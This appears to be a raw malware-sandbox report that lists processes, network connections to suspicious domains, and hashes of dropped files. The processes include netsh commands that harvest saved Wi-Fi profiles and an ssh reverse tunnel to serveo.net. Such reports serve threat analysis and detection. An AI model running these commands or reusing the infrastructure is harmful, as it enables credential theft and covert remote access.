C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\Ynigope.exe

"C:\Users\Admin\AppData\Local\Temp\Ynigope.exe"

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3964 -ip 3964

C:\Users\Admin\AppData\Local\Temp\1B30.exe

"C:\Users\Admin\AppData\Local\Temp\1B30.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 1956

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\SysWOW64\netsh.exe

netsh wlan show profiles

C:\Windows\SysWOW64\findstr.exe

findstr /R /C:"[ ]:[ ]"

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Users\Admin\AppData\Local\Temp\1B30.exe

"C:\Users\Admin\AppData\Local\Temp\1B30.exe"

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3964 -ip 3964

C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

"C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8910 serveo.net

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 1956

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

C:\Users\Admin\AppData\Roaming\hijtuvd

C:\Users\Admin\AppData\Roaming\hijtuvd

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\netsh.exe

netsh wlan show networks mode=bssid

C:\Windows\SysWOW64\findstr.exe

findstr "SSID BSSID Signal"

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Users\Admin\AppData\Local\Temp\66BF.tmp\svchost.exe

C:\Users\Admin\AppData\Local\Temp\66BF.tmp\svchost.exe -debug

Network

Country Destination Domain Proto
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 108.211.229.192.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
FI 77.91.124.82:19071 tcp
FI 77.91.68.52:80 77.91.68.52 tcp
FI 77.91.68.78:80 77.91.68.78 tcp
US 8.8.8.8:53 52.68.91.77.in-addr.arpa udp
US 8.8.8.8:53 amx385.xyz udp
DE 45.89.127.193:80 amx385.xyz tcp
US 8.8.8.8:53 78.68.91.77.in-addr.arpa udp
US 8.8.8.8:53 193.127.89.45.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 amxt25.xyz udp
DE 45.131.66.61:80 amxt25.xyz tcp
US 8.8.8.8:53 61.66.131.45.in-addr.arpa udp
US 8.8.8.8:53 240.81.21.72.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
FI 77.91.124.82:19071 tcp
DE 45.131.66.61:80 amxt25.xyz tcp
DE 45.131.66.61:80 amxt25.xyz tcp
FI 77.91.68.52:80 77.91.68.52 tcp
FI 77.91.68.78:80 77.91.68.78 tcp
FI 77.91.124.82:19071 tcp
US 8.8.8.8:53 servermlogs27.xyz udp
DE 45.131.66.120:80 servermlogs27.xyz tcp
US 8.8.8.8:53 mksad917.xyz udp
DE 193.31.28.70:80 mksad917.xyz tcp
US 8.8.8.8:53 120.66.131.45.in-addr.arpa udp
US 8.8.8.8:53 70.28.31.193.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 cdn1.frocdn.ch udp
US 188.114.97.0:443 cdn1.frocdn.ch tcp
US 8.8.8.8:53 0.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 transfer.sh udp
DE 144.76.136.153:443 transfer.sh tcp
US 8.8.8.8:53 153.136.76.144.in-addr.arpa udp
US 8.8.8.8:53 qu.ax udp
IL 91.226.72.136:443 qu.ax tcp
IL 91.226.72.136:443 qu.ax tcp
IL 91.226.72.136:443 qu.ax tcp
US 8.8.8.8:53 136.72.226.91.in-addr.arpa udp
IL 91.226.72.136:443 qu.ax tcp
DE 45.131.66.120:80 servermlogs27.xyz tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
US 140.82.113.3:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 3.113.82.140.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
FI 77.91.124.82:19071 tcp
US 8.8.8.8:53 serveo.net udp
DE 159.89.214.31:22 serveo.net tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 31.214.89.159.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
DE 45.131.66.120:80 servermlogs27.xyz tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe

MD5 5b081ede367ff54da5f5375e32395edb
SHA1 11c7d7b42d5e244624f46834bc340003cab03392
SHA256 fa012a93856294de96f56cdc3b6b80854dd690b62ba7d11bcfcd17b7985364f8
SHA512 056c4ec655ae5213d7744acd905dc8ccb72cf6701357154bf1771fcc91abfe6d8c47dff2351a71abe16915170cc591e83ab047a0f0c38af0dd977b33360260f3

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe

MD5 5b081ede367ff54da5f5375e32395edb
SHA1 11c7d7b42d5e244624f46834bc340003cab03392
SHA256 fa012a93856294de96f56cdc3b6b80854dd690b62ba7d11bcfcd17b7985364f8
SHA512 056c4ec655ae5213d7744acd905dc8ccb72cf6701357154bf1771fcc91abfe6d8c47dff2351a71abe16915170cc591e83ab047a0f0c38af0dd977b33360260f3

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe

MD5 72b5e55d10adcadac90e41929b179b77
SHA1 7a991bb55bc728924f1330b9a252e69f5f7f65f4
SHA256 2058a51808a35569de20b36a2bf4c6bcdecb29886efb31424efeda7579ba7cd8
SHA512 1a5b01afdb89796cb3d0dd50093941c62271455d7a0503a24b8304370c3d4dcf68675aa23d2c3631fe076d1277bf7d07623f7575c27725a4b5141cd5b177ee19

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe

MD5 72b5e55d10adcadac90e41929b179b77
SHA1 7a991bb55bc728924f1330b9a252e69f5f7f65f4
SHA256 2058a51808a35569de20b36a2bf4c6bcdecb29886efb31424efeda7579ba7cd8
SHA512 1a5b01afdb89796cb3d0dd50093941c62271455d7a0503a24b8304370c3d4dcf68675aa23d2c3631fe076d1277bf7d07623f7575c27725a4b5141cd5b177ee19

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe

MD5 e2fddc458c455381504e8d0e6819eea3
SHA1 5c6a02f3cc199c82a896b470bf3bc88b1eef6712
SHA256 6bdbba802bf6da3cc6c3bc48ccdc6bbf777dad77f165b663e296ab7d08017373
SHA512 174354475fea14e50b2e5f030ca5a93e3bb3c21928365fafa682e6610e1ca1f8c1b91bac9049fd669c1fa96706ce753d87dc56ba5ac29160e5ab35b7fd69c95b

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe

MD5 e2fddc458c455381504e8d0e6819eea3
SHA1 5c6a02f3cc199c82a896b470bf3bc88b1eef6712
SHA256 6bdbba802bf6da3cc6c3bc48ccdc6bbf777dad77f165b663e296ab7d08017373
SHA512 174354475fea14e50b2e5f030ca5a93e3bb3c21928365fafa682e6610e1ca1f8c1b91bac9049fd669c1fa96706ce753d87dc56ba5ac29160e5ab35b7fd69c95b

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe

MD5 b5a8bca4d74bcda291a2f7d88f90d8a4
SHA1 4e10a6dc7ca0b3d82d68dadbf1a6eeaba1a9c12e
SHA256 93f2cd27e0874d0c4397bfc324b744310b04e2b115a13b825e5daffcd758c261
SHA512 9c57c6b7de346d0bdc317cb7729722c6477aab50803f5f71b5b77bf43a9b265e743b2e23555a8aa8c4c5964377ff92ed66ba378bd9bcbc079132dfe332e793bd

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe

MD5 b5a8bca4d74bcda291a2f7d88f90d8a4
SHA1 4e10a6dc7ca0b3d82d68dadbf1a6eeaba1a9c12e
SHA256 93f2cd27e0874d0c4397bfc324b744310b04e2b115a13b825e5daffcd758c261
SHA512 9c57c6b7de346d0bdc317cb7729722c6477aab50803f5f71b5b77bf43a9b265e743b2e23555a8aa8c4c5964377ff92ed66ba378bd9bcbc079132dfe332e793bd

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe

MD5 9e01b712749cdf0bf9e0731e4e0cb079
SHA1 4b86a828200efa79f7a441ba4582b5159a518d21
SHA256 23d3525480684ebedd4d24880025f51b6d264aa89ed2e8871e7f315ee23622c9
SHA512 1a8101e785404704a2df93f4c3ec2da3065a1bffa55898529f855641e76da8788ee9abd423e04d71cd4b0a909f2a842223be6c290f07a20b98ae158e3431e9fb

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe

MD5 9e01b712749cdf0bf9e0731e4e0cb079
SHA1 4b86a828200efa79f7a441ba4582b5159a518d21
SHA256 23d3525480684ebedd4d24880025f51b6d264aa89ed2e8871e7f315ee23622c9
SHA512 1a8101e785404704a2df93f4c3ec2da3065a1bffa55898529f855641e76da8788ee9abd423e04d71cd4b0a909f2a842223be6c290f07a20b98ae158e3431e9fb

memory/4384-35-0x0000000000400000-0x000000000040A000-memory.dmp

memory/4384-36-0x00000000744F0000-0x0000000074CA0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe

MD5 a6a4f4670af1df33700e5269ffe6af4d
SHA1 492314ec7ce70e6d0035cb21bbcae4f5ba9a117e
SHA256 8d0ed0acc14288c59cbadfba31c6cec5b472ebef0af91457bea90cba61581c98
SHA512 157a55f0e032e56a376cdc5fa61a971b8ea095ba25aee5c8f1818cb2570e812a50d40c83b9c5b587c65c089479c0ae3bf57d7fdd101230027f659bd6e63d9b4e

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe

MD5 a6a4f4670af1df33700e5269ffe6af4d
SHA1 492314ec7ce70e6d0035cb21bbcae4f5ba9a117e
SHA256 8d0ed0acc14288c59cbadfba31c6cec5b472ebef0af91457bea90cba61581c98
SHA512 157a55f0e032e56a376cdc5fa61a971b8ea095ba25aee5c8f1818cb2570e812a50d40c83b9c5b587c65c089479c0ae3bf57d7fdd101230027f659bd6e63d9b4e

memory/5044-40-0x0000000000400000-0x000000000042C000-memory.dmp

memory/5044-41-0x0000000000400000-0x000000000042C000-memory.dmp

memory/5044-42-0x0000000000400000-0x000000000042C000-memory.dmp

memory/5044-44-0x0000000000400000-0x000000000042C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe

MD5 20022aadcd78e3ca38163b50f8f5a98a
SHA1 bf569dfade50af858125cbc677a0eff5d785efc4
SHA256 623e90d8ebb377af132f902d4ddccea66e0f9a49662e968e998dc81234c1bc9d
SHA512 5cae0d51618794ff44c1f20b169f7eb6919ff257f75a191939ea0ed5ea44b1f4fbf2b30dfea70573d7fee8bc6059b8a8c345d4f65173d56baa484060cda79158

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe

MD5 20022aadcd78e3ca38163b50f8f5a98a
SHA1 bf569dfade50af858125cbc677a0eff5d785efc4
SHA256 623e90d8ebb377af132f902d4ddccea66e0f9a49662e968e998dc81234c1bc9d
SHA512 5cae0d51618794ff44c1f20b169f7eb6919ff257f75a191939ea0ed5ea44b1f4fbf2b30dfea70573d7fee8bc6059b8a8c345d4f65173d56baa484060cda79158

memory/4384-48-0x00000000744F0000-0x0000000074CA0000-memory.dmp

memory/4384-50-0x00000000744F0000-0x0000000074CA0000-memory.dmp

memory/2580-51-0x0000000000400000-0x0000000000430000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

MD5 916851e072fbabc4796d8916c5131092
SHA1 d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA512 07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

memory/2580-53-0x0000000002640000-0x0000000002646000-memory.dmp

memory/2580-54-0x0000000074150000-0x0000000074900000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

memory/2580-60-0x000000000A820000-0x000000000AE38000-memory.dmp

memory/2580-61-0x000000000A330000-0x000000000A43A000-memory.dmp

memory/2580-62-0x000000000A270000-0x000000000A282000-memory.dmp

memory/2580-63-0x00000000027E0000-0x00000000027F0000-memory.dmp

memory/2580-64-0x000000000A2D0000-0x000000000A30C000-memory.dmp

memory/2580-65-0x000000000A440000-0x000000000A48C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w8481755.exe

MD5 66ce1755c291baf3403ece4db563c57e
SHA1 c07ab9af162d7e177ba258f86b7f645a394fe2ac
SHA256 350c4031822af6a6c9bb6d1d20e648b3a93de627d48afb8758b65f0f9609e502
SHA512 8bf83d1d2cb16c2fedcf7edeab2dea8417b72e67002e9cf92ad57da2770df91513b2fa332bf8c159673f42c575c21394266b5bd008b65fa73f53635c822b14f1

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w8481755.exe

MD5 66ce1755c291baf3403ece4db563c57e
SHA1 c07ab9af162d7e177ba258f86b7f645a394fe2ac
SHA256 350c4031822af6a6c9bb6d1d20e648b3a93de627d48afb8758b65f0f9609e502
SHA512 8bf83d1d2cb16c2fedcf7edeab2dea8417b72e67002e9cf92ad57da2770df91513b2fa332bf8c159673f42c575c21394266b5bd008b65fa73f53635c822b14f1

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

MD5 1b87684768db892932be3f0661c54251
SHA1 e5acdb93f6eb75656c9a8242e21b01bf978dc7cf
SHA256 65fcd66d75c64db0f8b7819431d77f83a421e9fd210ff6bdf74c47e7a4c39636
SHA512 0fc3cc6ed99e45a3d1ca7cd2dd4d7bfc2f5f11ee7cf0e3d58bfbb4db26f16599cae45b96fc032cd6a050c1ea70bfd02291537088168dd149eee85b38d2527a82

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

MD5 1b87684768db892932be3f0661c54251
SHA1 e5acdb93f6eb75656c9a8242e21b01bf978dc7cf
SHA256 65fcd66d75c64db0f8b7819431d77f83a421e9fd210ff6bdf74c47e7a4c39636
SHA512 0fc3cc6ed99e45a3d1ca7cd2dd4d7bfc2f5f11ee7cf0e3d58bfbb4db26f16599cae45b96fc032cd6a050c1ea70bfd02291537088168dd149eee85b38d2527a82

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

MD5 1b87684768db892932be3f0661c54251
SHA1 e5acdb93f6eb75656c9a8242e21b01bf978dc7cf
SHA256 65fcd66d75c64db0f8b7819431d77f83a421e9fd210ff6bdf74c47e7a4c39636
SHA512 0fc3cc6ed99e45a3d1ca7cd2dd4d7bfc2f5f11ee7cf0e3d58bfbb4db26f16599cae45b96fc032cd6a050c1ea70bfd02291537088168dd149eee85b38d2527a82

memory/4644-104-0x0000000000720000-0x0000000000906000-memory.dmp

memory/4644-105-0x0000000074150000-0x0000000074900000-memory.dmp

memory/4644-106-0x0000000005300000-0x0000000005378000-memory.dmp

memory/4644-107-0x00000000052F0000-0x0000000005300000-memory.dmp

memory/4644-108-0x0000000005380000-0x00000000053E8000-memory.dmp

memory/4644-109-0x00000000052A0000-0x00000000052EC000-memory.dmp

memory/4644-110-0x00000000059E0000-0x0000000005F84000-memory.dmp

memory/1584-111-0x0000000000400000-0x0000000000473000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

MD5 1b87684768db892932be3f0661c54251
SHA1 e5acdb93f6eb75656c9a8242e21b01bf978dc7cf
SHA256 65fcd66d75c64db0f8b7819431d77f83a421e9fd210ff6bdf74c47e7a4c39636
SHA512 0fc3cc6ed99e45a3d1ca7cd2dd4d7bfc2f5f11ee7cf0e3d58bfbb4db26f16599cae45b96fc032cd6a050c1ea70bfd02291537088168dd149eee85b38d2527a82

memory/4644-116-0x0000000074150000-0x0000000074900000-memory.dmp

memory/1584-118-0x0000000000400000-0x0000000000473000-memory.dmp

memory/1584-115-0x0000000000400000-0x0000000000473000-memory.dmp

memory/2580-119-0x0000000074150000-0x0000000074900000-memory.dmp

memory/1584-120-0x0000000001320000-0x0000000001327000-memory.dmp

memory/1584-121-0x0000000002DD0000-0x00000000031D0000-memory.dmp

memory/1584-122-0x0000000002DD0000-0x00000000031D0000-memory.dmp

memory/1584-123-0x0000000002DD0000-0x00000000031D0000-memory.dmp

memory/2580-124-0x00000000027E0000-0x00000000027F0000-memory.dmp

memory/1584-125-0x0000000002DD0000-0x00000000031D0000-memory.dmp

memory/3620-126-0x000001AE1EB30000-0x000001AE1EB33000-memory.dmp

memory/1584-127-0x0000000003CA0000-0x0000000003CD6000-memory.dmp

memory/1584-133-0x0000000003CA0000-0x0000000003CD6000-memory.dmp

memory/1584-134-0x0000000002DD0000-0x00000000031D0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

MD5 a427281ec99595c2a977a70e0009a30c
SHA1 c937c5d14127921f068a081bb3e8f450c9966852
SHA256 40ff20f391de89b6604882de34b20f32e78d6ead62c4587b3fa968c6c21e03d3
SHA512 2a7a735bbaab2b19d5ca23e988ff7aaba8dc91b7e6295a84a4a9ff5efa5e89a67ff40073c671192054262153d188f0534bfd6e67231fe79c0e6e46d0ed380976

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

MD5 c256a814d3f9d02d73029580dfe882b3
SHA1 e11e9ea937183139753f3b0d5e71c8301d000896
SHA256 53f129d7c6b008406a6214c261e45c06dfc1cd7dc36639018e37b07416bf5f7c
SHA512 1f263232f9bcf8f936239cd0866594c5d14c4b6cca8337c1a20dabfedf588fbc5839deba7f5fc8243f1a6fa64f87a2133afde6ce7b6eb4293b4807f66e05df3a

memory/3620-137-0x000001AE1EB30000-0x000001AE1EB33000-memory.dmp

memory/3620-138-0x000001AE1EDD0000-0x000001AE1EDD7000-memory.dmp

memory/3620-139-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-140-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-141-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-142-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-143-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-144-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-146-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-147-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-148-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-149-0x00007FFA57D30000-0x00007FFA57F25000-memory.dmp

memory/3620-150-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-151-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-152-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-153-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

memory/3620-154-0x00007FF4729A0000-0x00007FF472ACF000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

memory/3620-158-0x00007FFA57D30000-0x00007FFA57F25000-memory.dmp

memory/5016-160-0x0000000000170000-0x0000000000322000-memory.dmp

memory/5016-161-0x0000000004BE0000-0x0000000004C26000-memory.dmp

memory/5016-162-0x0000000074150000-0x0000000074900000-memory.dmp

memory/5016-163-0x0000000004C20000-0x0000000004C30000-memory.dmp

memory/5016-164-0x0000000004CD0000-0x0000000004D04000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

MD5 1611ddc5ba7af4c5f4c247c178ccdbb3
SHA1 4be33b42d1def3b0fc027b72efe233b6e05007e5
SHA256 c40a4e9ac9b6cefbfdabd59a314fae01b7fcd0b91e0a7cd8b02afd105a234eb0
SHA512 6d1319e6f8db72bc50e8b77ac470ac1b42e2f34455604b651d1c50f14ad8464cf98feafb4b86f416155980aff9a353a3b6edac944cefa73ebc61b63f5718e0e5

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

MD5 1611ddc5ba7af4c5f4c247c178ccdbb3
SHA1 4be33b42d1def3b0fc027b72efe233b6e05007e5
SHA256 c40a4e9ac9b6cefbfdabd59a314fae01b7fcd0b91e0a7cd8b02afd105a234eb0
SHA512 6d1319e6f8db72bc50e8b77ac470ac1b42e2f34455604b651d1c50f14ad8464cf98feafb4b86f416155980aff9a353a3b6edac944cefa73ebc61b63f5718e0e5

memory/3268-167-0x0000000000300000-0x00000000004AE000-memory.dmp

memory/3268-168-0x0000000074150000-0x0000000074900000-memory.dmp

memory/3268-169-0x0000000004E20000-0x0000000004E64000-memory.dmp

memory/2784-170-0x0000000000400000-0x0000000000413000-memory.dmp

memory/3268-175-0x0000000004E60000-0x0000000004E92000-memory.dmp

memory/2784-176-0x0000000000400000-0x0000000000413000-memory.dmp

memory/5016-177-0x0000000074150000-0x0000000074900000-memory.dmp

memory/2784-178-0x0000000000400000-0x0000000000413000-memory.dmp

memory/3268-174-0x0000000004EB0000-0x0000000004EC0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
